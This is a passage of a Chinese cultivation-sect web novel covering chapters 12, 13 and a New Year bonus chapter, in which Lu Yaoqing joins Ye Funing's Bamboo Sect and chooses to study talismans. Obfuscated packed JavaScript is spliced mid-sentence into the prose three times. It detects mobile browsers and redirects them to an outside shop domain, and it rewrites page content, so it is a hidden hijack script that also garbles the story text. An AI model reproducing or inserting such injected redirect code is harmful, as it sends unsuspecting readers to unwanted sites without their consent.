她想起黑风林那一推,心口依旧刺痛,但眼神更加锐利,“求爹娘成全女儿这一次!女儿定会努力修炼,照顾好自己,绝不会给爹娘丢脸!” 看着女儿眼中那从未有过的、如同破晓星辰般的光芒与不容置疑的决绝,陆老爷与陆夫人对视一眼,皆从对方眼中看到了同样的心疼、无奈,以及一丝隐约的欣慰——他们的女儿,似乎真的在一夜之间长大了。 “罢了,罢了……” 陆老爷长叹一声,声音沙哑,终究是妥协了,“孩子大了,心也野了,有自己的路要走了……我们做父母的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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叶傅宁看着她眼底燃烧的火焰,知道她是真的下了决心。她不再多言,只是用力回握,笑容绽开:“好!那以后,竹宗就是你家,师姐我罩着你!” 她接过陆瑶卿手里沉甸甸的包袱,另一只手牵起她微凉的手,握紧。 玄苍派,竹宗。 熟悉的青翠竹林掩映着小院,竹叶沙沙,宁静如昔。竹玉楼前的空地上,东方疏影一袭宽松的墨色云纹长袍,墨发未束,只用一根乌木簪子随意绾了个松垮的发髻,几缕碎发垂落额角。 他正提着一把精巧的玉壶,懒洋洋地给自己窗台下那几盆新移栽的、据说很娇贵的灵草浇水。 叶傅宁像只在外撒欢许久、终于归巢的欢快小麻雀,第一个冲进院子,脸上是压也压不住的得意和兴奋。祁燕雪和沈怀逸跟在两个姑娘身后,正低声交换着眼神。 “她肯定又要用那招了。” 沈怀逸看着叶傅宁直奔师尊而去的背影,用几乎听不见的声音对祁燕雪说道,语气里是十足的笃定和“没眼看”。 “嗯。” 祁燕雪赞同地点了点头,望向叶傅宁时脸上带着淡淡的笑。师姐的“必杀技”,他们太熟悉了。 毕竟当年她陆续把两个师弟“拐回来”靠的不就是这招吗? 本回正是: 三掌断情明心志, 少女离家初长成。 各位客官预知这叶大师姐有何等绝招,陆姑娘又能否顺利拜入师门就请听下回分解! 12. 抱腿故技终得允,竹宗新纳娇娥入。 接上回: 果然,叶傅宁没急着说“捡人”的大事,而是先从怀里掏出那个装着这次任务所得巨款的、格外鼓囊的钱袋,双手捧着,恭恭敬敬地递到东方疏影面前,语气那叫一个乖巧甜腻,能齁死人: “师父~您看!徒儿们幸不辱命,下山一趟颇有收获!这些钱,虽不够还上重修咱们被炸毁丹房的钱,但至少我们成功的迈出了第一步!” 她眨巴着大眼睛,满脸都写着“快夸我懂事能干快夸我”。 东方疏影懒洋洋地掀开眼皮,瞥了一眼那分量十足的钱袋,又看了看叶傅宁那副极力邀功的小模样,嘴角勾起淡淡的弧度。 “嗯,尚可。” 他语气依旧平淡无波,听不出什么情绪,但熟悉他的叶傅宁却能捕捉到那凤眸深处一闪而过的、几分类似“孩子总算知道挣钱了”的微弱赞赏,“看来出门一趟,总算长了点记性,知道钱不是大风刮来的了。” “那是自然!师父教诲,徒儿时刻铭记在心!” 叶傅宁立刻顺杆往上爬,脸上堆起更加谄媚的笑容,同时身体极其自然地往前凑了凑,熟练地伸出“魔爪”,试图搂住东方疏影的腰开始撒娇大法,“师傅,其实吧……这次下山,除了赚钱填补亏空,还有个小小的、意外的、天大的好收获……” 东方疏影微微挑眉,好整以暇地看着她,等她的下文:“哦?” 叶傅宁见师父似乎心情不错,赶紧把一直安静站在自己身后的陆瑶卿轻轻往前一推,推向“舞台”中央,嘴里开始滔滔不绝地推销: “您看她!陆瑶卿,安城陆家千金,根骨清奇,天赋异禀!心地善良,重情重义!不畏强权,敢爱敢恨!最重要的是,她道心坚定,一心追求大道!这可是万中无一、打着灯笼都难找的好苗子啊!” 她顿了顿,语气变得更加恳切,甚至带上了点“忧心宗门”的意味,“师父,您看咱们竹宗,人丁一直这么单薄,就我们四个,多冷清啊!正需要这样的新鲜血液注入活力!瑶卿她特别有诚意,为了拜师,连家都……” 她一边说,一边观察着东方疏影的脸色。只见师尊的目光落在陆瑶卿身上,那双总是慵懒半阖的凤眼微微眯起,带着审视的意味,上下打量,并未立刻开口,脸上也没什么表情。 叶傅宁心里咯噔一下,暗道不妙。师尊这反应,不太对劲啊?难道是嫌瑶卿是娇生惯养的大小姐?还是觉得她来历麻烦?不行,得放大招了! 她当机立断,扑通一声,故技重施,就想扑过去抱紧东方疏影的大腿上演苦情戏码。然而,这次她的动作才做到一半,就被一只修长有力的手精准地捏住了后脖颈的衣领,像提溜一只不听话的小猫崽一样,轻而易举地把她从半蹲状态给提溜了起来,乖乖站好。 “事不过三。” 东方疏影神色淡淡地看着逆徒,语气里带着一种早就看透她所有把戏的不屑与无奈,“你这招‘抱腿哭求收留术’,到底还打算用到什么时候?为师早已免疫了。” 叶傅宁被拎起来,计划失败,只能尴尬地“嘿嘿”干笑两声。她不死心,站好后立刻又搂住旁边陆瑶卿的肩膀,然后对着东方疏影开始疯狂眨动双眼,试图发射“可怜巴巴星星眼”光波,同时嘴上火力全开,继续推销: “师父!!!求您了!收下她吧!她真的特别好!为了拜您为师,她连锦衣玉食的家都不要了,这份赤子之心、向道之诚,天地可鉴啊!这是弟子一生一世唯一的请求!英俊潇洒、威武霸气、天上地下、古往今来最最最好的疏影师父!您就大发慈悲,答应了吧!求求您了!” 她这边唱作俱佳,旁边沈怀逸已经看得嘴角抽搐,忍不住小声对祁燕雪嘀咕:“师兄,你看她那样……脸皮真是比城墙拐弯还厚……” 然而,他话音未落,就感到一道冰冷如刀、带着明显不悦的视线“唰”地扫了过来。只见一直被叶傅宁搂着的陆瑶卿,不知何时已经微微侧过头,正冷冷地看着他。 小姑娘脸上没什么表情,但那双杏眼里却清清楚楚地写着:“再敢说我姐姐坏话试试?” 那眼神之锐利,气势之冷冽,完全不像一个刚及笄的娇小姐。 沈怀逸被她看得莫名一寒,后面的话顿时卡在了喉咙里。他下意识地往祁燕雪身后缩了缩,避开那视线,暗自腹诽:“凶什么凶……还没正式入门呢,就这么护短……” 却是不敢再出声了。 东方疏影将这一幕尽收眼底。他目光在叶傅宁与陆瑶卿十指紧扣的手上掠过,又在陆瑶卿那毫不畏惧、甚至隐隐带着点“我认定她了,你收不收我都要跟着”的倔强眼神上停留片刻。 随即,他那双总是慵懒淡漠的凤眼里,多了几分带着兴味与了然的笑意。 自己家这个总是跳脱不安分的逆徒,眼光倒是不错。每次捡回来的,都是些有趣的“宝贝”。 他慢悠悠地重新拿起玉壶,继续给那盆灵草浇水,仿佛刚才的闹剧从未发生。就在叶傅宁心都提到嗓子眼,以为又要被拒时,才听到他漫不经心地丢出一句: “先交拜师礼。” 他顿了顿,补充道,“按竹宗最高的标准。” 叶傅宁先是一愣,眨了眨眼,随即狂喜瞬间淹没了她!最高标准?那就是答应了?!“您答应了?!太好了!瑶卿快!快谢师……” 她兴奋地转身就要去拉陆瑶卿行礼,话未说完,额头就被东方疏影屈指不轻不重地弹了一下。 “聒噪。” 他收回手,语气依旧平淡。 陆瑶卿直到此刻,悬着的心才终于落回实处,巨大的喜悦和后知后觉的紧张让她心跳如擂鼓。她深吸一口气,上前几步,在东方疏影面前恭恭敬敬地跪下,行了一个标准而郑重的大礼: “弟子陆瑶卿,拜见师傅!谢师傅收录之恩!” 行礼完毕,她才悄悄抬起眼,看向身旁的叶傅宁,眼中是满满的依赖、感激与终于尘埃落定的喜悦。 成了!她真的成了叶姐姐的师妹了! 竹宗廊下,祁燕雪默默地从袖袋里摸出一块油纸包的桂花糖,递给旁边被小师妹眼神“吓”到、还有点没回过神来的沈怀逸。 沈怀逸接过糖,剥开糖纸塞进嘴里,甜意化开,驱散了些许刚才的“寒意”。 他看着眼前这熟悉又带着新混乱的一幕——得意洋洋的大师姐,面无表情但眼神发亮的小师妹,还有那位依旧懒散浇水、仿佛只是多收了盆花的师尊——忍不住小声嘟囔,语气复杂:“我就知道……这下好了,竹宗‘女子双煞’正式集结,以后还有安生日子过吗……” 他仿佛已经预见到,自己未来被这对“姐妹”联手“关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305044|198681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爱”的“悲惨”生活了。 沈怀逸嘴里含着糖,眼珠一转,忽然想起什么,故意提高了一点音量,对着还沉浸在“拐带”成功喜悦中的叶傅宁扬声道: “对了,叶傅宁”他语气里带着难得的促狭,“下月初就是宗门季度大考了。听说这次改革了奖励,按四宗弟子平均分排名,拔得头筹的宗门,全宗弟子都能分一笔丰厚的‘勤学奖学金’。” 他顿了顿,上下打量叶傅宁,嘴角勾起一个欠揍的弧度,“你不是总嚷嚷着要赶紧把丹房剩下的窟窿填上吗?这可是个集体致富的好机会——如果我们竹宗平均分能拿第一的话。” 叶傅宁正拉着陆瑶卿兴奋地规划“师妹养成计划”,闻言猛地回头,眼睛瞬间亮得像看见肉的狼:“平均分第一?全宗有奖?!那得多少钱?!” “具体数目不清楚,但副掌门这次下了血本,据说相当可观。”沈怀逸抱着胳膊,慢悠悠地泼冷水,“不过嘛……桃宗和莲宗每次考核成绩不高但胜在稳定,我入门虽只有一年,但咋们好像每次都没考过他们。” “梅宗自然更不必多说,那群人你又不是不知道,历长老带得跟疯魔似的,早晚苦修,卷生卷死。再看看咱们竹宗——” 他故意拖长了调子,目光从叶傅宁身上扫过,“某人连日常功课都恨不得能拖则拖,全靠考前三天通宵糊弄。这平均分……怕不是要被三宗甩出十八条街去。” “沈、怀、逸!”叶傅宁被他激得跳脚,快步走来低头戳戳他的额头,“你少长他人志气灭自己威风!我们竹宗怎么了?我们有燕雪这样踏实刻苦的榜样!有怀逸你这样的医术小天才!现在还有了瑶卿这样的新鲜血液!”她越说越觉得自己这边阵容强大,“不就是个平均分吗?本师姐认真起来,连自己都怕!” 祁燕雪看着师姐自信满满的模样,也坚定的点了点头。师姐很厉害,平常只是不认真而已,如果这次她态度能端正起来绝对没问题。 陆瑶卿立刻站到叶傅宁另一边,挽住她的胳膊,小脸一扬,对着沈怀逸坚定道:“姐姐说行就一定行!” 沈怀逸捂着被戳红的额头,抬头看着眼前这“信心爆棚三人组”,尤其是叶傅宁那副“我已经看到奖金在向我招手”的嘚瑟样有些炸毛。 他一把挥开叶傅宁的手,发带上的小铃铛发出清脆的响声,气鼓鼓的对她喊道:“行行行,你们厉害。那我就等着看某位‘临时抱佛脚宗师’,这次能翻出什么花来!” 他看着生气,但心里已经开始飞快盘算:剑术和心法理论部分,叶傅宁底子本来就不差,二师兄还可以带她和新人;丹道药理和基础法术,自己就勉为其难的费点心……平均分,确实得每个人都不掉队才行。 一直懒洋洋浇花的东方疏影,不知何时已放下了玉壶。他倚在竹廊边,听着徒弟们吵吵嚷嚷规划“逆袭大计”,转身离去。 无所谓,反正能把欠他的钱还上就行。 本回正是: 抱腿故技终得允, 竹宗新纳娇娥入。 各位客官欲知这临时抱佛脚大师姐要如何带领竹宗逆袭卷王梅宗?新入宗的“姐控”师妹首次月考又将有何表现?那笔诱人的“勤学奖学金”,最终会花落谁家?且听下回分解! 13. 朱砂初试惊鸿影,一语承师志不违。 接上回: 夜深了,竹宗小院浸在一片沉沉的墨色里。 白日里叽叽喳喳的雀鸟早已归巢,连廊下那盏石灯也燃尽了灯油,只剩一豆昏黄的烛光,从叶傅宁的卧房窗棂间漏出来,在青石板上晕开一小圈暖融融的光晕。 这是陆瑶卿拜入竹宗的第一个夜晚。 她躺在自己的新床铺上,翻来覆去。被褥是下午祁燕雪帮她新领的,浆洗得干干净净,晒过太阳,蓬松柔软,还带着淡淡的皂角香。 窗边的小桌上,沈怀逸默默放了一盆驱蚊提神的薄荷草,叶片青翠,清凉的气息若有若无。 师傅那边虽什么也没说,但这间屋子分明是提前收拾过的——窗纸是新糊的,门轴上了油,推开时再没有那恼人的“吱呀”声。 明明一切都妥帖得无可挑剔,可她就是睡不着。 陆瑶卿又翻了个身,面朝墙壁,盯着月光在粉墙上勾勒出的竹影婆娑。片刻后,她又翻回来,睁着眼睛望向帐顶。 隔壁房间,那盏灯还亮着。 她终于忍不住了,轻手轻脚地掀开被子,赤脚踩上冰凉的木地板,像一只偷溜出窝的猫,蹑手蹑脚地摸向隔壁。 敲门?不存在的。她只是极轻极轻地推开一条门缝,把半个脑袋探了进去。 “姐姐……” 陆瑶卿第一次进这间屋子,心里偷偷地想:姐姐的房间,和姐姐本人一样,乱得可爱,又暖得让人想赖着不走。 靠窗的书案上堆着小山似的书卷和笔记,烛台旁搁着半块吃剩的桂花糕,青瓷茶盏里茶水早已凉透。砚台里墨汁半干,搁着一支用秃了还没换的狼毫笔。窗台上有一盆垂头耷脑的兰草,显然是被主人冷落许久。 书桌对面是叶傅宁的床,床榻上柔软的藕荷色被褥乱糟糟的,堆着两个鼓囊囊的软枕。床头柜上放着叶傅宁那柄平常随身携带的佩剑。旁边立着一架半旧的竹制衣桁,此刻正懒懒地搭着叶傅宁白日穿的衣裙。 而此刻的叶傅宁,正以一种极不端正的姿势趴在书案前。 她褪去了白日那身利落的装束,只穿着一件藕荷色的寝衣。那寝衣料子倒是柔软服帖,领口松松垮垮地歪向一边,露出一截细白的锁骨。 长发用一根素簪草草挽起,却已散落了大半,几缕青丝不安分地垂落在脸侧,被她随手别到耳后,没过一会儿又滑落下来。 她左手撑着下巴,右手执笔,正对着一本摊开的《玄门金丹要义》苦大仇深地勾画。烛光在她脸上跳跃,在眼睑下投出两扇疲倦的阴影。 “瑶瑶?”叶傅宁听见动静,从书海里艰难地拔出目光,转头看见门缝里那颗毛茸茸的小脑袋,顿时笑起来,“怎么还不睡?新床铺不习惯?” 陆瑶卿没答话,整个人从门缝里挤进来,反手把门掩上。 她也穿着寝衣。是下午安顿好后自己换上的,樱粉色的底子,袖口和衣襟绣着小小的玉兔捣药纹样,针脚细密,料子是上好的云锦,在烛光下泛着柔和的光泽。一头乌发披散下来,衬得那张小脸愈发莹白如玉。 她快步走到书案边,不由分说地从叶傅宁臂弯下钻进去,挤进椅子和人之间的缝隙,然后心满意足地往后一靠,结结实实地窝进了叶傅宁怀里。 “陪姐姐。”她声音闷闷的,“我一个人睡不着。” 叶傅宁失笑,下巴搁在她发顶上蹭了蹭,闻见一股淡淡的花香:“那你陪我吧,还有三页,看完这章我就睡。” 陆瑶卿乖乖点头,整个人往她怀里又缩了缩。她仰起脸,从下往上看着叶傅宁——看她的睫毛在烛光里投下的阴影,看她因为困倦而微微泛红的眼角,看她手里那本密密麻麻、看着就让人头疼的功法注解。 她看了一会儿,小声开口:“姐姐,你为什么非要这么拼呀?” 叶傅宁的笔尖顿了顿。 “丹房的事……你不是已经交了一部分钱了吗?”陆瑶卿斟酌着词句,小心翼翼地说,“剩下的,我这里有。我离家的时候……带了一些银票。还有我的首饰,当了也能换不少钱。我——” “瑶瑶。”叶傅宁放下笔,低下头看她。 烛光在她浅绿色的眸子里摇曳,倒映出陆瑶卿小小的、担忧的面容。她没有笑,也没有用平时那种插科打诨的语气,只是很轻、很认真地开口: “你今天刚拜入师门,连第一晚都还没过完呢。” 陆瑶卿张了张嘴,想说自己不在乎这些。 叶傅宁却轻轻按住她的唇,摇了摇头。 “你是我的师妹,不是我用来还债的工具。”她的声音很轻,却一字一句,清晰无比,“这件事是因我们而起,就该由我们来承担。你那些银票,留着给自己买好看的衣裳、好用的符纸、好吃的点心。你要是真心疼姐姐,” 她弯起眼睛,眼底漾开温暖的笑意,“就好好修炼,将来成了天下第一,再给姐姐做靠山,好不好?” 陆瑶卿怔怔地看着她。 烛火在灯罩里轻轻跳动,将叶傅宁的轮廓镀上一层温柔的毛边。她分明困得眼皮都在打架,分明被那堆晦涩的功法折磨得苦不堪言,可她看向自己的眼神里,没有一丝一毫的不耐或敷衍。 ——她没有看错人。 从黑风林那刻起,她就知道,自己没有跟错人。 “好。”陆瑶卿用力点头,声音带上一丝细微的哽咽,却拼命忍着,不让泪珠滚下来,“那我要挣很多很多钱,自己挣的,然后给姐姐花。我还要变得很厉害很厉害,以后谁欺负姐姐,我就一拳打飞他。” 叶傅宁“噗嗤”笑出声:“那我等着瑶瑶大侠保护啦。” “不是大侠。”陆瑶卿认真纠正,“是瑶卿。” 她顿了顿,把脸埋进叶傅宁胸口,声音闷闷的,带着少女特有的娇憨与郑重: “是叶傅宁的瑶卿。” 然而豪言壮语言犹在耳,半个时辰后,叶傅宁的脑袋已经开始小鸡啄米了。 她的眼皮像挂了千斤重的铅坠,每次奋力睁开,撑不过三息又缓缓阖上。手里的笔不知何时滑落到桌面上,骨碌碌滚到砚台边,溅起几滴墨汁,在宣纸上洇开两朵小小的乌云。 陆瑶卿从她怀里坐起身,看着叶傅宁那张困得迷迷糊糊、犹自强撑着不肯去睡的脸,心疼得像被人揪了一把。 “姐姐,去睡吧。” “唔……再看一页……就看一页……”叶傅宁含糊不清地嘟囔,手指在空中胡乱摸索,试图找回那支不知滚到何处的笔。 陆瑶卿不再说话。 她轻巧地站起身,弯下腰,一手揽过叶傅宁的膝弯,一手扶住她的后背,然后—— 稳稳当当地把她们竹宗大师姐、十七岁金丹期修士、“搞钱小队”队长,整个儿从椅子上端了起来。 叶傅宁骤然失重,迷迷糊糊睁开眼,发现自己正以一种极为离奇的高度和视角俯视着书案。 “瑶瑶?!” “姐姐该睡觉了。”陆瑶卿面不改色,抱着她转身朝床榻走去,步伐稳得像怀里揣的不是一个人,而是一团轻飘飘的棉花,“明天再看。” 叶傅宁:“…………” 她挣扎着想下来,奈何这个姿势实在无处借力,又怕动作太大踢翻桌椅,只能任由自家小师妹像抱大型玩偶一样把自己安放到了床榻上。 陆瑶卿替她解开那根早已松垮的素簪,将散落的长发理顺,又蹲下身为她脱去布袜。做这些事时,她神情专注,动作轻柔。 叶傅宁躺在床上,看着头顶的帐幔,忽然觉得自己可能捡到了一个不得了的小怪物。 “……瑶瑶,你力气一直这么大吗?” 陆瑶卿正在给她掖被角,闻言认真思考了一下:“不知道。以前在家没机会抱人。” 叶傅宁沉默片刻,默默在心里为竹宗的门框和桌椅点了一炷香。 “睡吧。”陆瑶卿在榻边坐下,没有离开的意思,“我守着姐姐。” 叶傅宁确实困得不行了,意识已经开始模糊。她含含糊糊地“嗯”了一声,找到一个舒服的位置,呼吸渐渐变得绵长。 陆瑶卿就这样安静地坐着,借着窗外透进来的月光,看着叶傅宁的睡颜。她看着看着,嘴角不自觉地弯起一个小小的弧度。 她下定决心,明天开始要加倍努力。 她要尽快通过入门考核,成为正式弟子。她要学很多很多厉害的招式,赚很多很多钱,变得很强很强—— 然后,一直、一直,待在姐姐身边。 接下来的几天,竹宗上下陷入了一种诡异的、前所未有的“勤奋”氛围。 起因自然是那场悬在头顶的宗门季度大考。按照往年规矩,不同阶段的弟子分卷分场,考校内容涵盖功法理论、丹药药理、阵法基础、宗门规诫、实战策略、妖魔辨识等六大科目,外加一门自选术法实操。 说是“全面检验弟子综合素养”,翻译成人话就是:考得又多又杂,临时抱佛脚根本来不及。 当然,这个“来不及”是针对普通人的。 叶傅宁作为“临时抱佛脚”流派荣誉宗师,向来信奉“只要熬夜熬得够晚,复习就不算开始”的人生信条。奈何这次不仅债务压身,还多了个刚入门、天天用那双亮晶晶的杏眼看着自己的小师妹。 她实在不好意思当着瑶瑶的面摆烂。 于是,这几日的竹宗小院,便呈现出一种奇特的景象—— 清晨卯时,祁燕雪准时在院中练剑。他换了一身玄色弟子服,墨发高束,剑光如练。每一式都力求精准到位,挥汗如雨。 收剑时,他顺道去厨房把师姐那份温在灶上的早饭端出来,放在石桌上,用洗净的叶片盖好,防着贪嘴的鸟雀。 巳时前后,沈怀逸会穿戴整齐,抱着几本批注得密密麻麻的笔记,面无表情地出现在叶傅宁房门口。 “《玄门金丹要义》第三章,灵力周天运行原理。”他把笔记往桌上一放,语气公事公办,“师兄划的重点,我用红笔补充了历年真题常考角度。你看完有问题再问。” 叶傅宁接过笔记,感动得热泪盈眶:“怀逸!你真是师姐的好师弟!” “少来。”沈怀逸别过脸,耳尖却悄悄红了,“我只是怕你拖垮竹宗,连累我被同门嘲笑。” “是是是,我们怀逸都是为了大局着想。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305045|198681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”叶傅宁嘿嘿笑着,不戳破他。 至于陆瑶卿—— 叶傅宁已经给她置办了一身新衣服,和三人一个色系的竹宗班服。 她内里是一件绣着花纹的浅青色小抹胸,外罩一件衣缘滚着银边的绿色短款外衫,袖口紧束,腰间系着双耳结,下身配着同色系长裙,行动间裙摆如水波荡漾。 她虽尚未正式通过入门考核,却也领到了属于自己的任务。 午后,东方疏影出现在竹玉楼大厅,那是他平常给弟子们授课的地方。他倚着竹椅,手边搁着一叠空白的符纸和半碗朱砂,漫不经心地对陆瑶卿招了招手。 “过来,凝神于指尖,画一道最简单的‘引灵符’。”他想试试陆瑶卿对各门术法的天赋偏向。 剑、符、医、音、体……总得一样样摸过去,才知道这颗刚出土的小苗,该往哪片阳光底下挪。 新收的苗子,总得翻翻土,才知道根往哪边长。 陆瑶卿依言上前,提笔,蘸朱砂,屏息凝神,一笔落下。 符成的那一瞬,朱砂纹路泛起极淡的灵光,转瞬即逝,却足以让旁观者讶然。 东方疏影微微挑眉,垂眸看着那道符,沉默片刻。 此女天赋极高,虽是之前没有任何基础的凡人但她体内暗藏的灵力不容小觑,比她两位师兄都强,和她大师姐一样。之后几项便是不用测了。 “……根骨尚可。”他淡淡道,将符纸推到一旁,“你想学门功法?”他没有夸她,甚至语气依旧疏懒平淡。不过他的眼神里带着几分满意,似乎是因为自家逆徒捡到宝了而感到高兴。 陆瑶卿抬起眼,那张精致的小脸上没什么表情,也没有面对长老时应有的拘谨或敬畏。她只是静静地看着东方疏影,像在确认某件极为重要的事。 “你什么都能教吗?” 她的声音很轻,咬字却很清晰。不是质疑,不是挑衅,而是一种近乎执拗的、想要得到一个确切答案的认真。 姐姐和祁燕雪是剑修,沈怀逸却是医修,如果她这次选了除这两项之外的功法,这个师傅还能教吗? 若是教不了把她安排到别人门下当弟子她可不愿意。 东方疏影闻言,慢悠悠地抬起眼皮。 阳光透过竹叶的缝隙,在他俊美到近乎妖冶的侧脸上落下斑驳的光影。他迎着小丫头那双清澈见底、却又倔强得寸步不让的眼睛,唇角极浅地勾起一个弧度。 那笑容里没有被打扰的不耐,倒像是听见了什么有趣的笑话。 “玄苍派四长老里,”他懒洋洋地开口,语气平淡得像在说今日天气不错,“你师傅我,是唯一一个从剑、符、医、音、到体术,乃至音律杂学,皆通皆精的。” 陆瑶卿眨了眨眼。 东方疏影收回目光,指尖漫不经心地拨弄着竹椅扶手上的一缕枯叶,声音散漫得仿佛要融化在午后的光尘里:“所以,想学什么,直说便是。教不了的东西,这玄苍派,怕是也没第二个人能教了。” ——话很狂。 但他说得理所当然,像在陈述一个早就被时间验证过无数次的、不值一提的事实。 陆瑶卿沉默了一会儿。她低下头,看着自己方才画完那道引灵符的指尖。朱砂还剩一抹淡红,像不小心沾上的胭脂。 她没有选剑。 她也没有选医。 她选了符。 没有为什么。 只是在刚才提笔的那一瞬间,当灵力顺着指尖流淌进朱砂、在符纸上绽开第一道纹路时—— 她感到了一种前所未有的、属于自己的平静。 “符修。”陆瑶卿抬起头,声音依旧很轻,却带着尘埃落定的笃定,“我想学符。” 东方疏影看了她片刻。 “嗯。”他应了一声,没有多余的评价,也没有问她为什么。 只是随手从那一叠空白符纸中抽出几张,连同那半碗朱砂,一起推到了她面前。 “每日午后,来此习符一个时辰。” 陆瑶卿捧着那几张符纸,指尖微微收紧,她没有笑,也没有说“谢谢师傅”,她只是轻轻“嗯”了一声。 然后她低头,看着符纸边缘那道细密的竹叶暗纹,在心里默默想: ——她会学得很快的。 ——她会成为很厉害的符师。 ——她要赚很多很多钱,画很多很多符,把姐姐欠师傅的那些债,全部还清。 ——她也要变得很强很强,不躲在师姐身后,而是站出来保护师姐。她也要能够保护他人,就像当时师姐保护她一样。 午后日光融融,竹影在廊下轻轻摇曳。 东方疏影重新阖上眼,似乎又睡着了。 而陆瑶卿抱着那叠符纸,安静地退出了廊下。 本回正是: 抱膝轻语偿金诺, 赤足抱姊入罗帷。 朱砂初试惊鸿影, 一语承师志不违。 各位客官欲知这竹宗新收的小符修,日后将画出何等惊天动地的灵符?那悬在叶傅宁头顶的季度大考与丹房巨债,又将如何收场?且听下回分解! 16. 瑞雪兆丰年[番外] 除夕。 玄苍派上下张灯结彩,各宗都贴上了新符,挂起了大红灯笼。但要说最热闹的,还得是竹宗那方小院——老远就能听见里头叽叽喳喳的动静,跟山脚下的集市一样。 沈怀逸一大早就被师兄叫起来准备年夜饭。他今日穿了一身新做的枣红圆领袍,衬得那张清俊的脸多了几分喜气,腰间系着一条素色围裙,袖子挽到手肘露出白皙的小臂,正专注地和面前的一团面较劲,脸上沾了面粉都浑然不觉。 面团被他揉得光光滑滑,沈怀逸还抽空往窗外瞟了一眼—— 院子里,叶傅宁和陆瑶卿正蹲在一堆炮仗跟前,嘀嘀咕咕研究引信长短。 两人今日都换上了新衣裳,红得喜气洋洋。叶傅宁那条青白色的齐腰裙今儿换成了朱红色,领口袖口镶着白绒绒的兔毛,衬得她一张脸愈发明艳。 最打眼的是她的新发型——平日里那束得利利落落的马尾散开了,换了个温婉又不失俏皮的单螺髻,额前留了两缕碎发,用红绳细细编着,坠了两颗小小的金珠,一晃一晃的,好看得紧。 “师姐!”陆瑶卿今日也是一身新红袄裙,裙角绣着一簇一簇的小梅花,衬得那双玫红色的杏眼愈发水灵。她举着根炮仗凑过来,“这根肯定响!咱们先放这个!” “好好好,都听你的。”叶傅宁笑着弹她脑门。 屋檐下,东方疏影裹着一件簇新的暗红大氅,靠在一张摇椅上,手里捧着一杯热茶,眼眸半阖,嘴角噙着一丝慵懒的弧度。他今日难得换了身正式些的红袍,墨发也用一根红玉簪随意束了束,看上去像是只餍足的、懒得动弹的狐狸。 “师父!您倒是下来一起啊!”叶傅宁冲他喊。 “你们放,我看着。”东方疏影慢悠悠抿了口茶,“记得待会儿把院子扫干净。” 叶傅宁吐吐舌头,拉着陆瑶卿点火去了。 “嗤——”引信燃起。 “哇啊啊啊快跑快跑!”陆瑶卿拽着叶傅宁就跑,两人捂着耳朵缩到廊下。 “砰!” 一朵金色的火花在雪地里炸开,紧接着噼里啪啦响成一片。 “姐姐姐姐!响了响了!”陆瑶卿兴奋得直蹦,小脸红扑扑的,转头就往叶傅宁怀里钻,“姐姐你看!” 叶傅宁笑着搂住她,另一只手还在那乱比划,嘴里也不知道在喊什么,笑声混着炮仗声,热闹得要掀翻屋顶。 厨房里,沈怀逸透过窗户看到这一幕,哼了一声,手上擀饺子皮的动作更快了。他今日的发绳特意换了一对——原本那根蓝丝带变成了红绳,末端坠着的小铃铛变成了两个白色的、毛茸茸的小绒球,随着他擀皮的节奏左右摇晃。整个人看起来比平日多了几分软萌。 “师弟,馅里再加点姜末。”祁燕雪在一旁默默调着肉馅,声音温吞。 沈怀逸乖乖应了一声,伸手去拿蒜时偷偷看了祁燕雪一眼。 他这位师兄今日也换了新衣,是一身暗红的劲装,衬得人愈发挺拔,腰间系着那条叶傅宁送的新腰带,银灰色的,上面绣着云纹。墨发半束,用一根红绳随意系着,正专注地搅动着盆里的肉馅。 “我来包。”祁燕雪接过擀好的皮子,开始填馅。他手指修长,动作却意外地灵巧,一捏一挤,一个圆滚滚的饺子就成型了。 沈怀逸也紧随其后,拿着擀面杖专注的擀着面皮,偶尔转身去另一边的灶台切菜,准备其他几道年夜饭。 两人包了足足三大盘饺子,沈怀逸还偷偷在其中一个里包了枚铜钱,说是“谁吃到谁今年运气好”。 “好了没——饿死了——”院子里传来叶傅宁拖长的声音。 沈怀逸探头一看,炮仗已经放完了,院子里铺了厚厚一层红纸屑,叶傅宁正拉着陆瑶卿往这边走。陆瑶卿手里还攥着一根没点的窜天猴,似乎意犹未尽。 “先扫地!”东方疏影在廊下悠悠开口。 “师傅您真讨厌——”叶傅宁嘴上抱怨,但还是老老实实拿起扫帚。陆瑶卿立刻跟上,非要跟她一起扫。 结果就是两人你推我我挤你,扫了半天也没扫干净,反而把纸屑扬得到处都是。 祁燕雪默默走出来,接过扫帚。叶傅宁讪讪一笑,趁他扫地的功夫,一溜烟钻进了厨房。 “我来帮忙我来帮忙!”她撸起袖子就往灶台前凑。 沈怀逸警惕地挡住她:“你别动。” “我看看嘛——” “你看什么看,你一动手准出事。”沈怀逸把刚煮好的饺子往里端,试图用身体隔开她。 叶傅宁偏不,非要往里挤。两人在灶台前你推我我搡,沈怀逸的脸越来越红,脑袋上那两个白色的小绒球也跟着一颤一颤的,最后他急了:“叶傅宁!” 